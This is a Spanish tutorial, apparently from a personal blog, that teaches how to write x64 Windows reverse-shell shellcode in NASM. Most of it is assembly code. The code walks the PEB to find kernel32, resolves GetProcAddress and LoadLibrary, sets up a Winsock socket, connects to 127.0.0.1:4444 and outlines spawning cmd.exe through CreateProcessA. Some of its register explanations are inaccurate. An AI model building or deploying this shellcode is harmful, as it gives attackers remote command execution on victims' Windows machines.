Una pequeña explicación de como realizar una shell para win64.

Veamos unos conceptos básicos, está explicación es realizado en nasm, esta forma no es única, hay varias formas, todo depende de tu imaginación y de como te atrevas a programarlo.

Explicaré una forma básicas de una shell pequeña, lo demás es bajo tu creatividad y responsabilidad.

Para este tutorial es necesario tener instalado windbg y usar otro debugger como x64dbg.

Algo que debes tener en cuenta para poder realizarlo, es saber manejar registros en ASM y sus ejecuciones, dejo un link a una página donde puedes aprender más.

Architecture/x64-assembly

Conceptos básicos.

Registros


64 bit
32 bit
Explicación
64 bit
rax, rbx, rcx, rdx, rsi, rdi
---
Los registros a utilizar son rdi, rsi, rdx, r8 - r10, etc.
32 bit
---
eax, ebx, ecx, edx, esi, edi
Los registros a utilizar son ebx, edx, ecx, edx, esi, edi, etc.

Tipo de datos
Memoria Bits Bytes Registro Access-Memory Allocate-Memory
char 8 1 al BYTE [ptr] db
short 16 2 ax WORD [ptr] dw
int 32 4 eax DWORD [ptr] dd
long 64 8 rax QWORD [ptr] dq

Para compilar: nasm -fwin64 -o .obj .nasm
ld -o .exe .obj

Antes que nada, es bueno que entiendan de donde vienen varias cosas que vamos a usar (PEB):

Abran windbg y ataquen un proceso o usen alguna aplicación de 64 bits.

Veamos lo primero que tenemos que saber, el primer objetivo es TEB



Como podemos observar PEB se encuentra en la posición 12, si lo multiplicamos por cada QWORD obtenemos 12*8=96 - 0x60 hex

Veamos que pasa si lo seguimos.



Ya encontramos PEB, algo que debemos recordar es que hay un registro en ASM que guarda TEB (gs), esto hay que recordarlo para posteriomente usarlo.

Busquemos la dirección para observar que hay dentro de PEB





Veamos si la dirección de _PEB_LDR_DATA es correcta



Tenemos que direccionarnos a "Ldr", ya que ahí se encuentra una estructura importante a utilizar que es "InMemoryOrderModuleList" y "Flink".

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

Entonces cuales son lo pasos a seguir para encontrar las direcciones que necesitaremos para lograr cargar algunas librerías además de funciones.

TEB
->PEB(0x60)
->Ldr(0x18)
->InMemoryOrderModuleList(0x20)->Flink

Lo podemos comprobar de esta forma.





Se puede ver como rax es la misma que la dirección de la imagen

Como mencionamos en el tutorial de win32, primero se encuentra ntdll y después kernel32, así que solo hay que repetir lo de win32 pero en x64.

Un detalle que tiene win64 es que debes alinear la pila y dejar un espacio llamado "shadow space" para cada registro además de los extras que se vayan a usar, en el tutorial de patreon explico con más detalle.

xor ecx, ecx
xor rcx, rcx
mov rax, [gs:rcx+0x60]
mov rax, [rax+0x18]
mov rsi, [rax+0x20]
lodsq
xchg rsi, rax
lodsq
mov rbx, [rax+0x20]

lodsq avanza 8 bytes del registro rsi a rax en una estructura, así que sería InMemoryOrderModuleList+8 = flink(ntdll.dll)

Después se hace un xchg para meter rax nuevamente a rsi y volvemos a recorrer 8 bytes para quedar InMemoryOrderModuleList+8=flink+8=flink(kernel32.dll) donde se encuentra la dirección que necesitamos para poder llegar a la base de kernel32.dll.

rax+0x20, es por un error en el entry al llegar a la dirección donde solo hay que hacer algo sencillo para solucionarlo, y es sumarle 0x20.

Logramos obtener la base base de kernerl32 ahora a investigar PE.

La siguiente tabla es importante porque es PE File Format

----Dos Mz Header----
----DOS Stub----
----PE File Header----
----Image_Optional_Header--
----Section Table (Data Directories)----
----Sections----

En el tutorial de patreon profundizaré un poco más, ahora solo importa saber como llegar a Data Directories, que es donde empezaremos a buscar las funciones a necesitar.

Así quedaría entonces...

e_elfanew(0x3c)
->OptionalHeader+DataDirectory(0x88)
->AddressofNames(0x20)

Observemos el código.

mov edx, [rbx+0x3c]
add rdx, rbx
mov edx, [rdx+0x88]
add rdx, rbx
mov esi, [rdx+0x20]
add rsi, rbx

Cada movimiento hay que unirlo a la base de kernel32.

Ya estamos en AddressOfNames, ahora es momento de empezar a la dirección necesaria para cargar librerías y buscar las funciones necesarias y es GetProcAddress.



En el tutorial de patreon tiene una explicación más detalla sobre porque el uso de AddressOfFunctions, AddressOfNames y AddressOfNameOrdinals

Pero primero tenemos que buscar el nombre, después su ordinal y al final la dirección de la función.

-->AddressOfNames - 0x20
-->AddressOfNameOrdinals - 0x24
-->AddressOfFunctions - 0x1c

Repetimos el uso de lodsd y vamos buscamos el nombre "GetProcAddress"

J_Gp:    
xor rcx, rcx
mov r10, 0x41636f7250746547

jm_GPA:
inc rcx                  
lodsd
add rax, rbx
cmp qword[rax], r10
jnz jm_GPA

dec rcx

Aquí entramos en una especia de "loop" e "if"

Pueden observar como aumentamos a rcx = 1, metemos a rsi en rax, le colocamos la base de kernel32 y vamos comparando cada qword hasta encontrar el nombre correcto.

Al final restamos rcx-1, porque el array de Ordinals empieza en 0 no en 1, así que hay que usar dec rcx

Algo importante a notar es que tanto AddressOfNameOrdinals como AddressOfFunctions son arrays, AddressOfNameOrdinals = [word] y AddressOfFucntions = [dword]

mov esi, [rdx+0x24]
add rsi, rbx
mov cx, [rsi+rcx*2]
mov esi, [rdx+0x1c]
add rsi, rbx
mov edx, [rsi+rcx*4]
add rdx, rbx




Ahora solo queda empezar a cargar la librería sería así.

GetProcAddress(LoadLibrary(ws2_32.dll))

El proceso es repetitivo excepto para los parámetros.

xor rcx, rcx
push rcx
mov rcx, 0x41797261
push rcx
mov rcx, 0x7262694c64616f4c
push rcx
mov rdx, rsp
mov rcx, rbx
sub rsp, 0x30

call r14

mov r13, rax  ;LoadLibrary

Ya que esta cargada la librería y tenemos la dirección, comenzamos a programar el socket.

LoadLibraryA(WSAStartup)

xor rcx, rcx
push rcx
mov rcx, 0x6c6c
push rcx
mov rcx, 0x642e32335f327377  ;ws2_32.dll
push rcx
mov rcx, rsp

sub rsp, 0x30
call r13

GetProAddress("ws2_32.dll","WSAStartup")

xor rcx, rcx
push rcx
mov rcx, 0x7075
push rcx
mov rcx, 0x7472617453415357 ;WSAStartup
push rcx
mov rdx, rsp
mov rcx, r15

sub rsp, 0x30
call r14

Ya que obtuvimos las direcciónes de WSAStartup, debemos empezar con los parámetros.

Antes hay que observar la estructura.

int WSAStartup(
  WORD      wVersionRequired,
  LPWSADATA lpWSAData
);
wVersionRequested = MAKEWORD( 2, 2 );
WSAStartup( wVersionRequested, &wsaData );

En el tutorial de patreon explico esta parte, vamos a continuar.

xor rcx, rcx
push rcx
mov cx, 0x0190
sub rsp, rcx
mov rdx, rsp
call rax

Tenemos que definir el tamaño de la estructura y abrimos espacio y metemos en la pila la dirección inicial de wsaData sizeof(struct wsaData)

Ahora metemos wVersionRequested que es la mayor version 2.2 e invocamos lo guardado en rax.

Volvemos a repetir todo.

xor rcx, rcx
mov rcx, 0x4174
push rcx
mov rcx, 0x656b636f53415357 ;WSASocketA
push rcx
mov rdx, rsp 
mov rcx, r15

sub rsp, 0x30
call r14 

GetProAddress("ws2_32.dll","WSASocketA")

Tipo de datos
Domain Type Protocol lpProtocolInfo Group g dwFlags
AF_INET | SOCK_STREAM | IPPROTO_IP
2 | 1 | 6 0| 0| 0

Con eso podemos saber que es lo que necesitamos, solo hay que meter en cada registro el dato necesario.

SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

xor, hace una comparación tipo not, por ejemplo, si fuera rax=1, con xor podemos decir: rax=1 not rax=1; resultado = 0

inc, incrementa +1 un registro, por ejemplo, si fuera rax=1, entonces, inc rax, sería ahora rax = 2

xor rcx, rcx
mov [rsp+32], rcx
mov [rsp+40], rcx

push rcx
pop r9
mov r8b, 6
inc rcx
mov rdx, rcx
inc rcx
call rax

mov rdi, rax  ;socket

¿Cómo quedaría entonces?

WSASocketA(2,1,6,0,0,0)

Repetimos lo mismo ahora para darle indicaciones a connect

xor rcx, rcx
mov rcx, 0x7463656e6e6f63
push rcx
mov rdx, rsp
mov rcx, r15

sub rsp, 0x28
call r14
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Veamos la estructura de como de ser usado.

int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
);
<
typedef struct sockaddr_in {
#if ...
  short          sin_family;
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;
  IN_ADDR        sin_addr;
  CHAR           sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;

Aqui debemos pensar en dos cosas, meter en la pila la IP, el Puerto y la familia.

Veamos como quedaría.

xor r14, r14
mov [r14+4], dword 0x0100007f
mov [r14+2], word 0x5c11
mov [r14], word 0x2

 
Guardamos eso en la pila y volvemos a repetir pero ahora para la estructura.
      
mov r8b, 16       <--sizeof(sockaddre)
lea rdx, [r14]    <--sockaddr_in
mov rcx, rdi      <--socket

call rax          <--connect

Ya tenemos lista la conexión, pero falta como crear una tubería para mandar y recibir datos. Para eso usaremos CreateProcessA.

Esta parte voy a colocar la estructura y si ya se entendió todo, será sencillo repetir todo.

Es cuestion de volver a buscar desde PE File Format y encontrar CreateProcessA.

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Hagamos un adelanto.

Aquí necesitas establecer dos cosas importantes de la estructura

LPSTARTUPINFOA        lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation

lpStartupInfo es la cantidad de bytes 104 bytes + 24 de pProcessInformation

En el tutorial de patreon pondré más detallado esto pero dejo la estructura para que puedan continuar.

STRUC _STARTUPINFOA
    .cb:                resq 1
    .lpReserved:        resq 1
    .lpDesktop:         resq 1
    .lpTitle:           resq 1
    .dwX:               resd 1
    .dwY:               resd 1
    .dwXSize:           resd 1
    .dwYSize:           resd 1
    .dwXCountChars:     resd 1
    .dwYCountChars:     resd 1
    .dwFillAttribute:   resd 1
    .dwFlags:           resd 1
    .wShowWindow:       resd 1
    .cbReserved2:       resd 1
    .lpReserved2:       resq 1
    .hStdInput:         resq 1
    .hStdOutput:        resq 1
    .hStdError:         resq 1
ENDSTRUC

STRUC _PROCESS_INFORMATION
    .hProcess:          resq 1
    .hThread:           resq 1
    .dwProcessId:       resd 1
    .dwThreadId:        resd 1
ENDSTRUC

Metamos a la pila cmd, que es la consola de comandos.

push 'cmdA'
mov [rsp+3],byte cl
lea rdx, [rsp]    ;cmd

Y ya al final es solo darle parámetros a CreateProcessA con esto que acabamos de ver según la estructura.

Listo.

Si deseas el código completo puede apoyarme en patreon, ahí encontraras el código y tutorial completo. Patreon

En github se encuentra parte del código como referencia. Github